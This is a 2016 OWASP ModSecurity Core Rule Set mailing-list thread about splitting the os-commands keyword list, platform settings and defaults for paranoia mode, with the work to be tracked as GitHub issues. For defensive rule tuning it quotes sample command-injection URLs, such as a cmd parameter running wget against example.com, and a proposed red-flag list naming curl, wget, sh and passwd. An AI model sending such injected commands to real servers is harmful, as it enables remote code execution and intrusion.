Chaim, That issues idea makes sense. I second that.
Cheers, Christian On Mon, Feb 22, 2016 at 02:41:38PM +0000, Chaim Sanders wrote: > I think a todo file or issues in the github are in order. I’m more in > favor of the second. I can make a custom label for each specific area if > we need. I think that will perform better because we can assign things and > track people progress etc. thoughts? > > On 2/18/16, 4:49 AM, > "owasp-modsecurity-core-rule-set-boun...@lists.owasp.org on behalf of > Christian Folini" <owasp-modsecurity-core-rule-set-boun...@lists.owasp.org > on behalf of christian.fol...@netnea.com> wrote: > > >Hello, > > > >That is a smart move. It allows us to eliminate all "file splitting" > >tasks out of the paranoia mode project. Simplifies things a lot. > > > >@Chaim want to start a TODO file in the top folder of the CRS? > > > >Ahoj, > > > >Christian > > > >On Wed, Feb 17, 2016 at 09:05:52PM +0100, Franziska Buehler wrote: > >> Hi, > >> > >> I also like the idea of splitting the file. Perhaps we even need > >>multiple files. > >> Walter has a lot of good thougts! > >> This task doesn't seem to be very easy and some testing will be > >>necessary. > >> So I think we have to decide later, outside of this little project, > >> and we should move on to the first pull request. > >> > >> Regards, > >> Franziska > >> > >> 2016-02-15 5:07 GMT+01:00 Chaim Sanders <csand...@trustwave.com>: > >> > For the record I think this is a good idea but perhaps outside the > >>scope a > >> > bit of the initial RC release. Christian, I suggest we add this to the > >> > To-do for 3.1. Thoughts? > >> > > >> > On 2/12/16, 4:17 PM, > >> > "owasp-modsecurity-core-rule-set-boun...@lists.owasp.org on behalf of > >> > Christian Folini" > >><owasp-modsecurity-core-rule-set-boun...@lists.owasp.org > >> > on behalf of christian.fol...@netnea.com> wrote: > >> > > >> >>Hi there, > >> >> > >> >>There has not been any additional feedback in this thread, but I think > >> >>the question is not settled as of this writing. > >> >> > >> >>Thoughts? > >> >> > >> >>Regs, > >> >> > >> >>Christian > >> >> > >> >>On Sun, Feb 07, 2016 at 08:55:30PM +0100, Christian Folini wrote: > >> >>> Hi there, > >> >>> > >> >>> On Sat, Feb 06, 2016 at 11:04:00PM +0100, Walter Hop wrote: > >> >>> > I like the idea of splitting the file. > >> >>> > >> >>> Cool. > >> >>> > >> >>> > I agree some of the words in os-commands.data seem rather > >>paranoid. > >> >>>Words like "choice", "help", "now² seem of low value and are common > >>in > >> >>>natural text. Also, the large number of Unix-only environments could > >> >>>skip Windows related commands. It¹s hard for users to modify these > >>lists > >> >>>as you¹d have to hack the CRS, and these huge collections are to > >> >>>maintain anyhow, so I agree we need granularity. > >> >>> > >> >>> Good point. > >> >>> > >> >>> > The rule has some regexp magic to prevent false positives, but the > >> >>>balance is not a complete success in my opinion. For instance, the > >> >>>following URLs don't trigger in CRSv3: > >> >>> > http://vuln/?cmd=wget%20http://example.com/blah.txt > >> >>> > http://vuln/?cmd=sh%20blah.txt > >> >>> > > >> >>> > So it's not as strong as you would want either to prevent some > >>common > >> >>>RCE. > >> >>> > Something like http://vuln/?cmd=Wget%20http://example.com/;%20ecHo > >> >>>does trigger it. > >> >>> > >> >>> I see. Good observations. > >> >>> > >> >>> > 1) I think that a user should check their desired platforms in the > >> >>>setup conf. In fact, this would be great to do anyway in the initial > >> >>>3.0.0 release even if we DON'T look at it in any rule yet. Specifying > >> >>>platform types will pave the way for reducing false positives and > >>false > >> >>>negatives by skipping unnecessary checks and being more strict on the > >> >>>right platforms. So we could start by listing these platforms in the > >> >>>existing rule in the setup conf. Example: > >> >>> > > >> >>> > SecAction \ > >> >>> > "id:'900024', \ > >> >>> > phase:1, \ > >> >>> > t:none, \ > >> >>> > setvar:tx.unix=1, \ > >> >>> > setvar:tx.windows=1, \ > >> >>> > setvar:tx.java=1, \ > >> >>> > setvar:tx.php=1, \ > >> >>> > >> >>> That makes a lot of sense. At first sight. > >> >>> > >> >>> I think that a default install should come with these rulesets > >> >>> all enabled and a sysadmin can then switch them of if we is aware > >>that > >> >>> there is no php in his service. > >> >>> > >> >>> So given the following two scenarios > >> >>> #1 - Newbie sysadmin installs ModSec and runs into a lot of false > >> >>>positives > >> >>> because he does not disable unneeded rulesets > >> >>> #2 - Newbie sysadmin installs ModSec and is p0wned because he does > >>not > >> >>>enable > >> >>> the php protection > >> >>> I strongly favour #1. > >> >>> > >> >>> A vanilla install of the core rules should give you a full coverage > >>for > >> >>>all > >> >>> types of services and a decent security level. Reducing false > >>positives > >> >>>by > >> >>> omitting certain rules (ideally rules which provide no value for > >>your > >> >>>setup) > >> >>> is the very idea of tuning. > >> >>> Reducing the initial number of false positives by moving certain > >>rules > >> >>> with a worse relationsship between added security and false > >>positives, > >> >>> that is the idea of the paranoia mode. > >> >>> > >> >>> Chaim stated in a different message, that the rules are now > >>organised > >> >>> into files aimed at certain environments. So switching them off is > >> >>> fairly easy. And there are the tags on top of it. > >> >>> So you have tag:'language-PHP' and setting SecRuleRemoveByTag will > >> >>> disable them all very easily. > >> >>> > >> >>> So I think, we do not need these variables. > >> >>> > >> >>> > (By the way: I think it¹s unfortunate that a user has to use > >>value 1 > >> >>>to enable a check. An undefined variable will mean that the CRS will > >> >>>skip some rules. This makes it dangerous to introduce a new variable > >>in > >> >>>the CRS later; all existing installations MUST then add this > >>variable to > >> >>>their setup rule immediately, or suffer from reduced security. It¹s > >> >>>better to use a scheme that defaults to ³on². A convention like > >> >>>³tx.disable_mysql=1² would be user unfriendly and error-prone. But we > >> >>>could check for an explicit ³off² string, e.g. > >>³setvar:tx.mysql=off². If > >> >>>it¹s not ³off² then assume that the user DOES want the check. I think > >> >>>it¹s important to get this right in 3.0.0, it will be more painful > >>to do > >> >>>it later.) > >> >>> > >> >>> That's a very good observation. I had a similar idea once. > >> >>> > >> >>> In programming, you usually start with a default value and then > >> >>> the users overrides the default value. If he wants to. > >> >>> > >> >>> I am not sure how modsecurity_crs_10_setup.conf.example is going to > >> >>> be transformed to work seamlessly with 3.0. But this makes the > >> >>> setting of default values a bit tricky. > >> >>> > >> >>> Maybe a file REQUEST-02-DEFAULTS.conf could set default values > >> >>> if certain variables are not set. > >> >>> > >> >>> > 2) Separate the words into multiple lists: > >> >>> > os-commands-critical.data (absolute red flag list: "curl", > >>"passwd", > >> >>>"sh", "uname", "wget" etc.) > >> >>> > os-commands-paranoid.data (absolute low value, but high FP > >>natural > >> >>>words like "choice") > >> >>> > os-commands-windows.data (all Windows commands) > >> >>> > os-commands-common.data (all other commands) > >> >>> > >> >>> Makes some sense. Too granular is difficult and you mix various > >> >>> grouping criteria (criticality, paranoia, os), which makes is a > >> >>> bit hard to follow. > >> >>> > >> >>> Other opinions? > >> >>> > >> >>> > 3) Review the current regexp against some test data and CRSv2 to > >>make > >> >>>it more sensitive > >> >>> > >> >>> Good plan. Maybe this could be done in a separate pull request. > >> >>> I am afraid to overload the paranoia mode pull request... > >> >>> > >> >>> Ahoj, > >> >>> > >> >>> Christian > >> >>> > >> >>> > >> >>> -- > >> >>> In war you will generally find that the enemy has at any time > >> >>> three courses of action open to him. Of those three, he will > >> >>> invariably choose the fourth. > >> >>> -- Helmuth Von Moltke > >> >>> _______________________________________________ > >> >>> Owasp-modsecurity-core-rule-set mailing list > >> >>> Owasp-modsecurity-core-rule-set@lists.owasp.org > >> >>> > >> > >>>>>http://scanmail.trustwave.com/?c=4062&d=ndG-1q_MaPpAIUX2lZSE6lY7cpl0me > >>>>>OIn > >> > >>>>>uYrNabyug&s=5&u=https%3a%2f%2flists%2eowasp%2eorg%2fmailman%2flistinfo > >>>>>%2f > >> >>>owasp-modsecurity-core-rule-set > >> >> > >> >>-- > >> >>mailto:christian.fol...@netnea.com > >> > >>>>http://scanmail.trustwave.com/?c=4062&d=ndG-1q_MaPpAIUX2lZSE6lY7cpl0meO > >>>>Inu > >> >>N-aaCptw&s=5&u=http%3a%2f%2fwww%2echristian-folini%2ech > >> >>twitter: @ChrFolini > >> >>_______________________________________________ > >> >>Owasp-modsecurity-core-rule-set mailing list > >> >>Owasp-modsecurity-core-rule-set@lists.owasp.org > >> > >>>>http://scanmail.trustwave.com/?c=4062&d=ndG-1q_MaPpAIUX2lZSE6lY7cpl0meO > >>>>Inu > >> > >>>>YrNabyug&s=5&u=https%3a%2f%2flists%2eowasp%2eorg%2fmailman%2flistinfo%2 > >>>>fow > >> >>asp-modsecurity-core-rule-set > >> > > >> > > >> > ________________________________ > >> > > >> > This transmission may contain information that is privileged, > >>confidential, and/or exempt from disclosure under applicable law. If you > >>are not the intended recipient, you are hereby notified that any > >>disclosure, copying, distribution, or use of the information contained > >>herein (including any reliance thereon) is strictly prohibited. If you > >>received this transmission in error, please immediately contact the > >>sender and destroy the material in its entirety, whether in electronic > >>or hard copy format. > >> > _______________________________________________ > >> > Owasp-modsecurity-core-rule-set mailing list > >> > Owasp-modsecurity-core-rule-set@lists.owasp.org > >> > > >>http://scanmail.trustwave.com/?c=4062&d=oprF1pAS3K8GsgJkttF2b76CyDjqyyXmK > >>ENdLz6Plw&s=5&u=https%3a%2f%2flists%2eowasp%2eorg%2fmailman%2flistinfo%2f > >>owasp-modsecurity-core-rule-set > >> _______________________________________________ > >> Owasp-modsecurity-core-rule-set mailing list > >> Owasp-modsecurity-core-rule-set@lists.owasp.org > >> > >>http://scanmail.trustwave.com/?c=4062&d=oprF1pAS3K8GsgJkttF2b76CyDjqyyXmK > >>ENdLz6Plw&s=5&u=https%3a%2f%2flists%2eowasp%2eorg%2fmailman%2flistinfo%2f > >>owasp-modsecurity-core-rule-set > > > >-- > >mailto:christian.fol...@netnea.com > >http://scanmail.trustwave.com/?c=4062&d=oprF1pAS3K8GsgJkttF2b76CyDjqyyXmKE > >YIczjUmg&s=5&u=http%3a%2f%2fwww%2echristian-folini%2ech > >twitter: @ChrFolini > >_______________________________________________ > >Owasp-modsecurity-core-rule-set mailing list > >Owasp-modsecurity-core-rule-set@lists.owasp.org > >http://scanmail.trustwave.com/?c=4062&d=oprF1pAS3K8GsgJkttF2b76CyDjqyyXmKE > >NdLz6Plw&s=5&u=https%3a%2f%2flists%2eowasp%2eorg%2fmailman%2flistinfo%2fow > >asp-modsecurity-core-rule-set > > > ________________________________ > > This transmission may contain information that is privileged, confidential, > and/or exempt from disclosure under applicable law. If you are not the > intended recipient, you are hereby notified that any disclosure, copying, > distribution, or use of the information contained herein (including any > reliance thereon) is strictly prohibited. If you received this transmission > in error, please immediately contact the sender and destroy the material in > its entirety, whether in electronic or hard copy format. _______________________________________________ Owasp-modsecurity-core-rule-set mailing list Owasp-modsecurity-core-rule-set@lists.owasp.org https://lists.owasp.org/mailman/listinfo/owasp-modsecurity-core-rule-set
